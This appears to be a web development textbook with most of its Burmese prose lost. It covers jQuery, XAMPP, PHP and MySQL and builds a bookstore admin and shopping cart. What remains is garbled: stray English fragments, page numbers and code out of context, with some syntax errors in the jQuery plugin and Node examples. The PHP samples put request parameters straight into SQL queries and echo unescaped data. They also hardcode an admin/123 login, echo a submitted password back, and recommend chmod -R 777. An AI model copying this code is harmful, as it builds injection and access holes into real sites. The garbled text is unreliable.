<div class="box">
<h3>Products</h3>
<ul>
<li><a href="#">Icon Pack</a></li>
<li><a href="#">Texture Set</a></li>
<li><a href="#">Design Template</a></li>
</ul>
</div>
<div class="box">
<h3>Services</h3>
<ul>
<li><a href="#">Web Design</a></li>
<li><a href="#">Logo Design</a></li>
<li><a href="#">Web Development</a></li>
</ul>
</div>
<div class="box">
<h3>Connect</h3>
<ul>
<li><a href="#">Facebook</a></li>
<li><a href="#">Twitter</a></li>
<li><a href="#">Google+</a></li>
</ul>
</div>
158
159
HTML CSS
HTML/CSS .box h3.up { }
up Class Element
<script src=""> jquery.js File <script>
JavaScript
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
<h3> Element
click() Function $(this)
Click
Element Select
var parent = $(this).parent() Click <h3> Parent Element
Select parent Variable
$("ul", parent)
parent <ul> Select
parent Filter jQeury Document <ul>
Select Click <h3> Parent Element <div> <ul>
Select slideToggle() <ul> Click
<h3> <ul>
<script> Element <body> Element
<script> Element jquery.js File Element
Code
jQuery DOM Selector Filter (-)
toggleClass()
Click <h3> up Class up
Class Box Title Box Title
160
Application jQuery
DOM Ready Event jQuery DOM Object
JavaScript
$("h3").click(function() { }) Statement
<h3> Element onClick Event Function Browser
Document Element
<h3> Element JavaScript <h3>
Code Code Base Structure
jQuery Code ready() Function
Menu Boxes Script
$(document).ready( function() {
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
});
$(document).ready() Code jQuery Document
$(document).ready()
161
$(function() {
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
});
Application
162
h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}
h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}
ul {
list-style: none;
margin: 0; padding: 0;
}
ul li {
overflow: hidden;
padding: 4px 0;
}
li input, li span {
float: left;
margin-right: 6px;
}
li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none
}
li:hover a {
display: inline;
}
#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}
#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}
163
164
#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}
#done {
line-height: 18px;
margin-bottom: 10px;
}
#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}
HTML/CSS
<script src=""> jquery.js File <script>
JavaScript
$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();
if(!task) return false;
buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
$("#new-task input").val("").focus();
});
$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});
function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
165
Click Event
buildTask() Function task Variable Parameter
buildTask() Function Element
<li> buildTask() Function <li>
Element appendTo() Function #tasks Input Text Box
Task #tasks <li> Element
#tasks <li> jQuery Select
JavaScript Property .length
<h1> <span> Element Content
Task
Text Input val("")
focus() Function Text Input Cursor
166
Task
Text Input Keydown Event Button Click
Text Input Enter Button
Keydown Function e Event Object
Event Object e.which == 13
Key Keycode 13
Keycode 13 Enter Key
Backspace Keycode 8 Esc Keycode 27
Task Button Text Box Enter
Key Code
Backspace = 8, Tab = 9, Enter = 13, Shift = 16, Ctrl = 17, Alt = 18, Caps Lock = 20, Esc = 27 , Space = 32,
F1 = 112 ... F12 = 123
Keycode Keypress, Keyup Keydown Event
http://unixpapa.com/js/key.html
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
167
var del = $("<a>", {
href: "#"
}).html("×").click(function() {
$(this).parent().remove();
jQuery
<a> Element Element Content × Symbol
× Symbol ( ) Cross Delete Sign
Click Event Click
Parent Element
return $("<li>").append(checkbox).append(task).append(del);
jQuery
Plugins Plugins jQuery
Framework jQuery
Developer
Plugin jQuery
Plugins
Project Plugins Developer
Plugin
jQuery Plugins
jQuery - Function
168
$.fn.muliplyBy = function(n) {
this.each(function() {
var content = $(this).html();
for(i=1; i<n; i++) {
$(this).append(content);
}
}
};
(-) plugins.jquery.com
Plugin
Plugin
Document jQuery File
Plugin File <script> Element
Plugin CSS File CSS File
169
<link> Element
Plugin
Plugin Developer
Plugin
Documentation Manual
- Input
<script> Element
<script src="jquery.js"></script>
<script src="jquery-ui.js"></script>
<script>
$(document).ready(function() {
$("#date").datepicker();
});
</script>
170
171
172
}
});
});
</script>
173
HTML Table Data Grid Sort, Filter, Per Page Selector, Paging
Plugin Download datatables.net
Conclusion
175
HTML Document JavaScript PHP, ASP.NET, JSP, Ruby, Python, Perl Script
JavaScript Web Browser
Script Web Server Server-side Script
176
177
Web Application
Application (-)
Server-side Script
Common Gateway Interface CGI
CGI Web Server Program Run
Run Request
Program CGI Web Server
Web Server Respond
Web Server Run Program Script CGI
Script
178
179
7.3 ASP.NET
ASP.NET Microsoft .NET Framework Server-side
() Programming Language Framework ASP.NET
Programming Language Utility Class User Interface
Control Coding Convention Framework ASP.NET
Classic ASP (Active Server Pages) PHP Programming Language
180
Event Developer
Web Application Client Server Web Application
Desktop Application Event Driven
Microsoft Developer Web Application Event Driven
ASP.NET Code
<%@ Page Language="C#" %>
<!doctype html>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
lbl1.Text = DateTime.Now.ToLongTimeString();
}
</script>
<html>
<head runat="server">
<title>Sample page</title>
</head>
<body>
<form id="form1" runat="server">
The current time is: <asp:Label runat="server" id="lbl1" />
</form>
</body>
</html>
181
182
Application Server
Web Server Load Balance Server
183
Cluster
Distributed System Performance
Memory Storage Disk Storage Real-time Concurrency Thread
Socket Template, Data Code Pre-Compiled
Cache
Index Search
Java Platform
Java Scalable
Java Web
Application
ASP.NET Website Modern Web
Application Twitter
Twitter Social Network Website
Ruby on Rails
Scale Java
Java Programming Language Sun Microsystems James Gosling
Version Sun
Microsystems Oracle Java Oracle
OS Run "Write Once, Run Anywhere"
Language
Java2 J2SE, J2ME, J2EE
Platform Java Platform
Java SE, Java ME, Java EE
Java Web Application Java Servlet JavaServer Page (JSP)
Servlet HTTP Request Respond Java Class
Apache Tomcat, Jetty Servlet Container Web Server
JSP PHP Server-side Script HTML Document
Component MVC Pattern Java
Web Application Framework Struts 2, JavaServer Faces, JBoss Seam,
Apache Wicket, SpringMVC Framework
Framework
184
Loop ()
Loop ()
10.times do { ... }
Ruby on Rails Scaffold Generator
Scaffold Generator Generate
Code Framework Rails
185
7.6 Python
186
7.7 Node.JS
CPU Process
Process I/O
$content = file_get_contents("bigfile.csv");
echo $content;
// Other processes
PHP
Size
NodeJS
var fs = require(fs);
fs.readFile("bigfile.csv", "utf8", function(err, data) {
console.log(data)
});
// other processes
187
Conclusion
Web Development Community
Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses
189
() PHP Basic
XAMPP, Form Handling and Cookie/Session Management
190
lighthttpd (lighty
) Web Server Software
191
AMP Apache-MySQL-PHP/Perl/Python
AMP Package
Apache, MySQL PHP ( ) Perl ( ) Python Software Package
Apache Web Server Web Server PHP
Server-side Script AMP
Packages AMP Package PHP Development Environment
Apache Web Server Install Configuration Setting
- Client
Compression Cache Module Client Directory
Browsing PHP Install
Configuration - PHP Process
Server Memory
Error PHP Apache
Web Server Setting Apache Web Server
Request Respond Request PHP Process
Respond Developer PHP
Application
AMP Packages WAMP, LAMP, MAMP, Bitnami, DAMP, Zend
Server AMP Package Package Developer
Setting Package Apache Web Server, PHP
MySQL Package
Setting AMP Package WAMP,
LAMP MAMP AMP WAMP
W
Windows WAMP Windows AMP Package LAMP
L Linux LAMP Linux AMP Package MAMP
M Mac MAMP Mac AMP Package
Apache Friends
WAMP, LAMP MAMP XAMPP
XAMPP X Cross-Platform P
PHP Perl
192
193
194
()
() Apache Port Setting
195
$ cd /opt/lampp
$ sudo ./manager-linux.run
PHP Script htdocs Directory Write Permission
Permission Super User Directory PHP Script
Super User
PHP Script File Directory
Full Write Permission
$ sudo chmod -R 777 /opt/lampp/htdocs
196
197
198
(01 31 )
(01 12 )
( - 2013)
(Sun Sat )
(Jan Dec )
( - 13)
(00 23 )
(00 59 )
(00 59 )
Parameter php.net/manual/en/function.date.php
Code
$now = time();
$thingyan = strtotime('2013-04-13');
$sec_left = $thingyan - $now;
echo floor($sec_left / (60 * 60 * 24));
199
PHP
Variable PHP Dollar Sign
Language Variable
Space + - @ # % Special Character
Underscore Dynamic Type Variable
Data Type PHP Data Type
60 * 60 * 24
floor() Function
echo
( ) 5
PHP Imperative Language Language Control Structure
Operator C, JavaScript
Request
Application PHP
Function
PHP Build-in Function Version
Function php.net/quickref.php
PHP Function Function
200
201
(-) Double Quoted String Output "Hello John Doe, how are you doing?"
Single Quoted String Output "Hello $name, how are you doing?"
Single Quote $name Variable
String $, ", ' Operator Backslash (\) Escape
Escape Character Single Quote
( \' ) , Double Quote ( \" ), Dollar Sign Character
( \$ ) Backslash ( \\ ) $name = "John Doe";
echo "Hello \$name, how are you doing?";
name
Variable
echo "Bob is \"24\" years old.";
-
Bob is "24" years old. Double Quoted String Double
Quote Escape PHP Quote Operator
String
Double Quote (or) Single Quote
Escape Operator Escape
202
( )
$arr = array("Foo", "Bar", "Baz");
203
( )
$arr = array("foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango");
204
Array Index
echo $array['baz']['a'];
Document
- Google Search
PHP Request
URL Query String
- "heaviest bells" Keywords Search Result URL
Query String Google Request
205
http://www.google.com/search?q=heaviest+bells
Search Result Page search Request q=heaviest+bells
Query String Google Server-side Script "heaviest bells" Keywords
Result
Query String URL Resource Location Question Mark (?)
Sign
Key=Value
q=heaviest+bells q Key heaviest+bells Value Key=Value
Ampersand ( & ) http://www.google.com/search?q=heaviest+bells&hl=my
q=heaviest+bells hl=my &
&
206
Language Variable
(-)
Query String
HTML Form HTML Form
HTML Form PHP
HTML Form
207
<form action="login.php" method="get">
<input type="text" name="email">
<input type="password" name="password">
<input type="submit" value="Login">
</form>
208
get
Form Input name Attribute
Submit Button Form (-)
209
PHP Code
<?php
$email = $_GET['email'];
$password = $_GET['password'];
if($email && $password)
echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>
210
211
else
()
212
<label for="password">Password</label><br>
<input type="password" name="password" id="password"><br><br>
<input type="submit" value="Login">
</form>
213
GET Request
$_GET Superglobal POST Request
$_POST Superglobal PUT,
DELETE Method
Request Value Variable
$_REQUEST Superglobal Method PUT, DELETE Method
214
215
gender="male" gender="m"
Cookie Expire Time
Cookie Expire
Time setcookie() Function -
216
PHP
Cookie
Cookie Application
Web Browser Cookie Extension
Browser "Clear Private Data" Option Cookie
setcookie() Function Expire Time Cookie
Browser Browser Cookie
Cookie Browser
Firefox Web Browser Cookie Google Chrome
Cookie setcookie() Function Expire Time Minus
setcookie("gender", "", time() - 3600);
Cookie
Browser
Respond Browser Cookie
217
Cookie Session
Cookie Browser Session
Web Server Cookie
Session Server-side PHP Variable Object
Cookie Expire Time
Session Expire Time
Browser
Browser Session
Cookie Session Cookie Client-side
Browser Request Client-Server
Session Server-side
Session Server Storage
Server Cookie
Browser Developer
session_start() Function PHP Session $_SESSION
Session session_start() Function
Session
session_start();
$_SESSION["gender"] = "male";
218
session_start();
unset( $_SESSION["gender"] );
219
220
<?php
session_start();
$id = $_POST['id'];
$password = $_POST['password'];
if($id == "admin" && $password == "123") {
$_SESSION['auth'] = true;
$_SESSION['id'] = "Admin";
}
header("location: index.php");
?>
-
index.php Redirect
index.php
Browser URL Bar http://localhost/auth/ Login Form
Document User ID Box admin
Password Box 123
Login Button login.php
login.php $_SESSION index.php
index.php $_SESSION['auth']
Login Form Welcome Message
Logout logout.php auth Folder
logout.php Script Code
<?php
session_start();
unset($_SESSION['auth']);
unset($_SESSION['id']);
header("location: index.php");
?>
221
Text File
File Upload File Upload
HTML Form
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="photo">
<input type="submit" value="Upload">
</form>
222
223
224
<div id="form">
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="photo">Choose a Photo</label>
<input type="file" name="photo" id="photo">
<input type="submit" value="Upload" />
</form>
</div>
</div>
</body>
</html>
File
225
226
include()
require()
include_once()
require_once()
-
Script config.php Script File include("config.php");
( )
require("config.php");
( )
include_once("config.php");
( )
require_once("config.php");
config.php
File
Path
include() require()
include() Function File
Warning
Code
require() File Error Script
227
File
File
Error include_once()
require_once()
include() require()
8.14 Operators
228
( )
if($x == $y and $x == 5)
OR if($x == $y || $x == 5)
( )
if($x == $y or $x == 5)
Comment Code // Operator
/* */ JavaScript
// # Operator
8.15 Keywords
229
# => Hello
function say_welcome() {
global $str;
echo "Welcome to $str";
}
say_welcome();
Template
if($auth) {
// do something
}
( )
if($auth):
// do something
endif;
Colon (:)
if endif, switch
endswitch, for endfor, while endwhile
PHP Code PHP Code HTML
HTML PHP
230
Template
foreach() Loop JavaScript Array JSON
Loop for-in Loop PHP for-in foreach()
$arr = array("foo" => "Apple", "bar" => "Orange", "fiz" => "Mango");
foreach($arr as $key => $val) {
echo "$val is $key.";
}
# => Apple is foo.
# => Orange is bar.
# => Mango is fiz.
231
# => 4
# => "An Animal"
# => Fatal error: Call to private method ...
232
if($len == 2) {
$width = func_get_arg(0);
$height = func_get_arg(1);
return $width * $height;
}
}
233
TextBox PasswordBox
Class iInputBox Interface
PHP OOP Features
http://php.net/manual/en/language.oop5.php
MySQL Database
PHP
Function
explode() - Array
$date = "2013-05-10";
$arr = explode("-", $date);
-----------------------------------------------------------------------------------------exit() - Script
exit() die()
-----------------------------------------------------------------------------------------file_exists() - Path File
echo file_exists("C:\xampp\htdocs\auth\index.php");
# => true
234
Array
$arr = file("name.txt");
# => true
# => true
235
# => false
# => "12-05-2013"
# => array("12", "05", "2013");
# => $day = 12, $month = 05, $year = 2013
-----------------------------------------------------------------------------------------max() - Array
echo max(2, 5, 8, 1);
$arr = array(21, 32, 43, 12);
echo max($arr);
# => 8
# => 43
-----------------------------------------------------------------------------------------min() - max()
-----------------------------------------------------------------------------------------pathinfo() - Path Array
$path = pathinfo('C:\xampp\htdocs\gallery\upload.php');
echo
echo
echo
echo
$path['dirname'];
$path['basename'];
$path['extension'];
$path['filename'];
#
#
#
#
=>
=>
=>
=>
C:\xampp\htdocs\gallery
upload.php
php
upload
236
Setting
-----------------------------------------------------------------------------------------print_r() - Array
$arr = array("foo", "bar", "fiz");
echo $arr;
# => Array
print_r($arr);
# => Array ( [0] => foo [1] => bar [2] => fiz )
-----------------------------------------------------------------------------------------rand() - Random
rand(5, 15) 5 15 Random
-----------------------------------------------------------------------------------------shell_exec() - Command Run shell_exec()
exec() shell_exec() Command
exec() Command Run Run
$str = shell_exec("dir");
# => 12:34:20
# => 12:34:30
-----------------------------------------------------------------------------------------sort() - Array
237
-----------------------------------------------------------------------------------------str_replace() -
# => 13
-----------------------------------------------------------------------------------------substr() -
echo substr('abcdef', 2, 3);
# => cde
2 3 cde
0
-----------------------------------------------------------------------------------------trim() -
echo trim("
Hello
");
Space
# => Hello
238
ucwords() - Word
239
8.20 PHP7
PHP6 HHVM
HHVM PHP PHP Community
Hack HPHPc Zephire (zephir-lang.com) Language
HippyVM (hippyvm.com) PHP
PHP Core Team PHPNG
Compiler
PHPNG HHVM Runtime Request
PHP Interpreter % PHP Core
Team HHVM
() PHP Core Team Developer PHP7 PHP Version
PHPNG Release
() Release
240
(Myanmar Tutorials)
242
Oracle MySQL
Developer MySQL Oracle
MySQL
243
MySQL
Developer Oracle
Sun
MySQL MySQL-AB
MySQL Monty Widenius
MySQL 5.1 Source Code MariaDB MySQL Oracle
MySQL
MySQL MariaDB
Source Code
MySQL
MySQL
My-S-Q-L MySequal
244
245
9.2 phpMyAdmin
246
(-) phpMyAdmin
(-) phpMyAdmin Interface Interface
MySQL Database
Server Database Dashboard Interface
Location Server Icon localhost MySQL Server Host Name
Database Table Location Location
Bar Databases, SQL, Status, Users Options Main Menu
247
Database
store Database Database store
Database
(-)
248
Number of columns 5
Column ()
Input () () Column Name
(-) () id, name, remark, crated_date, modified_date
Column Name id, created_date modified_date
Column Table Column id Column
Unique ID Unique ID
created_date
Table
modified_date
created_date modified_date Application
(name) (remark)
id, created_date, modified_date
Column ()
249
() Column Index Method ()
Index Method PRIMARY, UNIQUE, INDEX FULLTEXT Index
MySQL Index
Index
Index Method PRIMARY, UNIQUE INDEX
PRIMARY Index PRIMARY
Table PRIMARY Index
Column PRIMARY Index Column
Table
-
UNIQUE PRIMARY
Column
Table UNIQUE Index Column
INDEX UNIQUE Column
FULLTEXT Method
Search Engine Stop Words Noise Worlds
Rank Index Method
MyISAM Storage Engine
Method
Engine
Storage Engine (-)
id Column PRIMARY Column Index
() Auto Increment (A_I) Auto Increment
Column MySQL 1, 2, 3, 4
Auto Increment
id Column Database
Table PRIMARY Auto Increment id
Column id Column Key
Unique
Key ID
()
Storage Engine Storage Engine
(Create), (Read), (Update), (Delete)
250
MySQL
Create, Read, Update, Delete
CRUD
CRUD Create, Read,
Update, Delete
MySQL Storage Engine
Storage Engine
Engine Engine
MyISAM
InnoDB
Archive
Memory
CSV
NDB
MyISAM
InnoDB
251
Speed Engine
Performance
Archive
Memory
CSV
NDB
Network Database
NDB Resource
Mainframe Cluster Environment
Storage Engine NDB (Table File ) 384EB
Storage Engine EB, Exabyte ()
Table Column ()
252
253
254
Delete
Record
Edit
phpMyAdmin Database Table Record
255
Query
Keyword Record
INSERT INTO Key-word
Table Column
Table Column Tide Key ( ` )
( `categories`) Table Column
Space Table
Column Space Tide Key
categories Record Table Table
Column categories Table Column () ()
name, created_date, modified_date () id Auto Increment
remark
VALUES Keyword
Column () ()
Double Quote Single Quote
'Comic' Single Quote
MySQL now() Function
now() Function
Function now()
Function
MySQL DATETIME Format
Query Semi-colon
Query phpMyAdmin Main Menu SQL Box
(-) INSERT Query Go Button
Query Main Menu Browse Record
256
SELECT Keyword
Column Column
Asterisk ( * ) Column
FROM Keyword Table categories Table id, name, remark
Column
ORDER BY Keyword
Sort Column Sort Column
( - ORDER BY name, created_date)
Column Column
ORDER BY Column
DESC Keyword
SELECT Query LIMIT Record
LIMIT 5
()
LIMIT LIMIT 2, 5
() 2 5 phpMyAdmin
SQL Box
257
Query
Query Semi-colon Query
Query
id 2 Record id PRIMARY
2 Record
Record DELETE Query DELETE FROM categories WHERE id=2;
258
=
=
=
=
"localhost";
"root";
"";
"store";
259
CSS <style>
form label {
display: block;
margin-top: 8px;
}
action cat-add.php
Form Submit
260
261
<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
<li title="<?php echo $row['remark'] ?>">
<?php echo $row['name'] ?>
</li>
<?php endwhile; ?>
</ul>
<a href="cat-new.php" class="new">New Category</a>
262
Category
cat-del.php Link
cat-del.php
cat-del.php URL
id Record
Record id URL Query
Query id
263
<?php
include("confs/config.php");
$id = $_GET['id'];
$sql = "DELETE FROM categories WHERE id = $id";
mysql_query($sql);
header("location: cat-list.php");
?>
Edit cat-list.php
<h1>Category List</h1>
<?php
include("confs/config.php");
$result = mysql_query("SELECT * FROM categories");
?>
<ul>
<?php while($row = mysql_fetch_assoc($result)): ?>
264
CSS <style>
form label {
display: block;
margin-top: 8px;
}
265
266
267
268
+----+--------------+--------+--------------+---------------+
| id | name
| remark | created_date | modified_date |
+----+--------------+--------+--------------+---------------+
| 1 | Technology
|
|
| 2 | Internet
|
|
| 3 | Programming |
|
+----+--------------+--------+--------------+---------------+
orders Table
orders Table
id INT Auto Increment / Primary Key
name VARCHAR (255)
email VARCHAR (255)
phone VARCHAR (255)
address TEXT
status INT (1)
created_date DATETIME
modified_date DATETIME
order Table Table
Table order_items Table
269
order_items Table
id INT Auto Increment / Primary Key
book_id INT
order_id INT
qty INT
order_items Table orders Table
Table (-)
order_ items Table book_id Column books Table id Column
order_id Column orders Table id Column
created_date modified_date order_items Table
orders Table
Table CRUD Interface
store Folder File Folder
store/
|-- admin/
|
|-- confs/
|
|
|-- config.php
|
|-- covers/ *
|
|-- cat-list.php
|
|-- cat-new.php
|
|-- cat-add.php
|
|-- cat-edit.php
|
|-- cat-update.php
|
|-- cat-del.php
|
|-- index.php
|
|-- book-list.php *
|
|-- book-new.php *
|
|-- book-add.php *
|
|-- book-edit.php *
|
|-- book-update.php *
|
|-- book-del.php *
|-- index.php
270
<h1>New Book</h1>
<form action="book-add.php" method="post" enctype="multipart/form-data">
<label for="title">Book Title</label>
<input type="text" name="title" id="title">
<label for="author">Author</label>
<input type="text" name="author" id="author">
<label for="summary">Summary</label>
<textarea name="summary" id="summary"></textarea>
<label for="price">Price</label>
<input type="text" name="price" id="price">
<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>
<?php
include("confs/config.php");
$result = mysql_query("SELECT id, name FROM categories");
while($row = mysql_fetch_assoc($result)):
?>
<option value="<?php echo $row['id'] ?>">
<?php echo $row['name'] ?>
</option>
<?php endwhile; ?>
</select>
<label for="cover">Cover</label>
<input type="file" name="cover" id="cover">
<br><br>
<input type="submit" value="Add Book">
<a href="book-list.php" class="back">Back</a>
</form>
271
272
<ul class="books">
<?php while($row = mysql_fetch_assoc($result)): ?>
<li>
<img src="covers/<?php echo $row['cover'] ?>"
alt="" align="right" height="140">
<b><?php echo $row['title'] ?></b>
<i>by <?php echo $row['author'] ?></i>
<small>(in <?php echo $row['name'] ?>)</small>
<span>$<?php echo $row['price'] ?></span>
<div><?php echo $row['summary'] ?></div>
[<a href="book-del.php?id=<?php echo $row['id'] ?>" class="del">del</a>]
273
+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| id | title | author | summary | price | category_id | | modified_date |+| name |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| 1 | Book1 |
| 2
| |
|+| Tech |
| 2 | Book2 |
| 5
| |
|+| Web |
| 3 | Book3 |
| 2
| |
|+| Tech |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+
274
<?php
include("confs/config.php");
$id = $_GET['id'];
$sql = "DELETE FROM books WHERE id = $id";
mysql_query($sql);
header("location: book-list.php");
?>
Request id books
Table Record DELETE Query
book-edit.php HTML <body>
<?php
include("confs/config.php");
$id = $_GET['id'];
$result = mysql_query("SELECT * FROM books WHERE id = $id");
$row = mysql_fetch_assoc($result);
?>
<h1>Edit Book</h1>
<form action="book-update.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="id" value="<?php echo $row['id'] ?>">
<label for="title">Book Title</label>
<input type="text" name="title" id="title"
value="<?php echo $row['title'] ?>">
<label for="author">Author</label>
<input type="text" name="author" id="author"
value="<?php echo $row['author'] ?>">
<label for="sum">Summary</label>
<textarea name="summary" id="sum"><?php echo $row['summary'] ?></textarea>
<label for="price">Price</label>
<input type="text" name="price" id="price"
value="<?php echo $row['price'] ?>">
<label for="categories">Category</label>
<select name="category_id" id="categories">
<option value="0">-- Choose --</option>
<?php
$categories = mysql_query("SELECT id, name FROM categories");
while($cat = mysql_fetch_assoc($categories)):
?>
<option value="<?php echo $cat['id'] ?>"
<?php if($cat['id'] == $row['category_id']) echo "selected" ?> >
<?php echo $cat['name'] ?>
</option>
<?php endwhile; ?>
275
</select>
<br><br>
<img src="covers/<?php echo $row['cover'] ?>" alt="" height="150">
<label for="cover">Change Cover</label>
<input type="file" name="cover" id="cover">
<br><br>
<input type="submit" value="Update Book">
<a href="book-list.php">Back</a>
</form>
276
html {
background: #95A5A6;
}
body {
font-family: Arial, Helvetica, sans-serif;
width: 900px;
background: #fff;
border: 4px solid #2C3E50;
margin: 20px auto;
}
h1 {
padding: 10px;
font-size: 21px;
background: #2C3E50;
margin: 0;
color: #fff;
}
ul.list {
list-style: none;
margin: 20px;
padding: 0;
}
ul.list li {
overflow: hidden;
border-bottom: 1px solid #ddd;
padding-bottom: 10px;
margin-bottom: 20px;
}
ul.list b {
display: block;
font-size: 18px;
margin-bottom: 5px;
color: #2980B9;
}
ul.list i, ul.list small {
color: #888;
font-size: 12px;
margin-right: 10px;
}
ul.list span {
color: #8E44AD;
}
ul.list div {
margin: 5px 0;
font-size: 13px;
line-height: 1.5em;
color: #555;
}
ul.list img {
margin-left: 20px;
}
277
278
ul.list a {
color: #2980B9;
}
ul.list a.del {
color: #D35400;
}
a.new {
display: block;
padding: 8px 0;
text-align: center;
width: 160px;
margin: 10px;
color: #fff;
background: #1ABC9C;
border: 1px solid #ccc;
text-decoration: none;
}
form {
margin: 20px;
}
form label {
display: block;
margin-top: 10px;
color: #555;
}
input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}
textarea {
height: 100px;
}
input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}
279
CSS Style
)
Interface (-
280
ul.menu {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
background: #16A085;
}
ul.menu li {
float: left;
border-right: 1px solid #1ABC9C;
}
ul.menu a {
display: block;
padding: 10px 20px;
text-decoration: none;
color: #fff;
}
ul.menu a:hover {
background: #1ABC9C;
}
orders.php
User Login
Login auth Session
index.php Redirect auth.php
book-list.php, cat-list.php, book-new.php, cat-new.php
admin Folder Script
Include
281
?>
282
Admin Interface Order
Order Shopping Cart Interface
283
284
Supermarket
( )
Book Store Order
Shopping Cart
Session session_start()
Function Database config.php Include
cart Session foreach Loop
Loop $cart Variable
index.php Category
- URL Query String cat=1 Category ID 1
index.php
285
color: #fff;
}
a {
color: #2980B9;
text-decoration: none;
}
a:hover {
color: #3498DB;
}
.info {
background: #2980B9;
padding: 8px;
text-align: right;
}
.info a {
color: #fff;
font-size: 14px;
text-decoration: none;
border-bottom: 1px dotted #fff;
}
.info a:hover {
border-bottom: 1px solid #fff;
}
.sidebar {
float: left;
width: 240px;
}
.cats {
list-style: none;
padding: 0;
}
.cats li a {
display: block;
font-size: 15px;
padding: 8px 15px;
border-bottom: 1px solid #ddd;
}
.cats li a:hover {
background: #efefef;
}
.main {
float: right;
width: 660px;
background: #fff;
}
286
.books {
list-style: none;
margin: 15px;
padding: 0;
overflow: hidden;
}
.books li {
width: 190px;
text-align: center;
height: 240px;
float: left;
margin: 20px 10px;
font-size: 15px;
}
.books b {
display: block;
margin: 5px 0;
font-weight: normal;
}
.books i {
color: #E74C3C;
}
a.add-to-cart {
font-size: 13px;
display: block;
background: #1ABC9C;
color: #fff;
padding: 5px 0;
margin: 5px 30px;
}
a.del {
color: #D35400;
}
.footer {
clear: both;
background: #95A5A6;
color: #fff;
font-size: 13px;
padding: 8px;
text-align: center;
border-top: 1px solid #7F8C8D;
}
.detail {
padding: 20px;
background: #fff;
}
.detail .back {
float: right;
287
}
.detail a.add-to-cart {
margin: 0;
width: 160px;
text-align: center;
padding: 10px 0;
}
table {
margin: 20px;
border-spacing: 1px;
background: #16A085;
}
td {
background: white;
border-collapse: collapse;
padding: 8px;
}
th {
color: white;
padding: 8px;
}
.order-form {
margin: 20px;
}
.order-form h2 {
margin: 40px 0 10px 0;
padding: 0 0 5px 0;
border-bottom: 1px solid #ddd;
font-size: 18px;
color: #C0392B;
}
form label {
display: block;
margin-top: 10px;
color: #555;
}
input[type=text],
input[type=password],
textarea,
select {
font-family: Arial, Helvetica, sans-serif;
border: 1px solid #ddd;
padding: 6px;
width: 300px;
background: #fff;
}
288
289
textarea {
height: 100px;
}
input[type=submit] {
padding: 10px 24px;
margin-right: 10px;
}
.msg {
background: #1ABC9C;
color: #fff;
text-align: center;
padding: 10px;
margin: 50px 20px;
}
.msg a {
color: #eee;
border-bottom: 1px dotted #fff;
}
label.error {
color: #900;
font-size: 13px;
font-style: italic;
margin-top: -1px;
}
.search {
margin-top: 20px;
}
.search input[type=text] {
width: 180px;
margin-left: 8px;
}
.search input[type=submit] {
width: 32px;
height: 32px;
cursor: pointer;
background: transparent url(../images/search.png) no-repeat center center;
border: 0 none;
padding: 0;
margin: 0 0 0 -5px;
}
290
291
<div class="footer">
© <?php echo date("Y") ?>. All right reserved.
</div>
Query String id
Add to Cart Link <link> Element style.css
cart Session
add-to-cart.php Code
<?php
session_start();
$id = $_GET['id'];
$_SESSION['cart'][$id]++;
header("location: index.php");
?>
$_SESSION['cart'][12]++;
<?php
session_start();
if(!isset($_SESSION['cart'])) {
header("location: index.php");
exit();
}
include("admin/confs/config.php");
?>
<!doctype html>
<html>
<head>
<title>View Cart</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<h1>View Cart</h1>
<div class="sidebar">
<ul class="cats">
<li><a href="index.php">« Continue Shopping</a></li>
<li><a href="clear-cart.php" class="del">× Clear Cart</a></li>
</ul>
</div>
<div class="main">
<table>
<tr>
<th>Book Title</th>
<th>Quantity</th>
<th>Unit Price</th>
<th>Price</th>
</tr>
<?php
$total = 0;
foreach($_SESSION['cart'] as $id => $qty):
$result = mysql_query("SELECT title, price FROM books WHERE id=$id");
$row = mysql_fetch_assoc($result);
$total += $row['price'] * $qty;
?>
<tr>
<td><?php echo $row['title'] ?></td>
<td><?php echo $qty ?></td>
<td>$<?php echo $row['price'] ?></td>
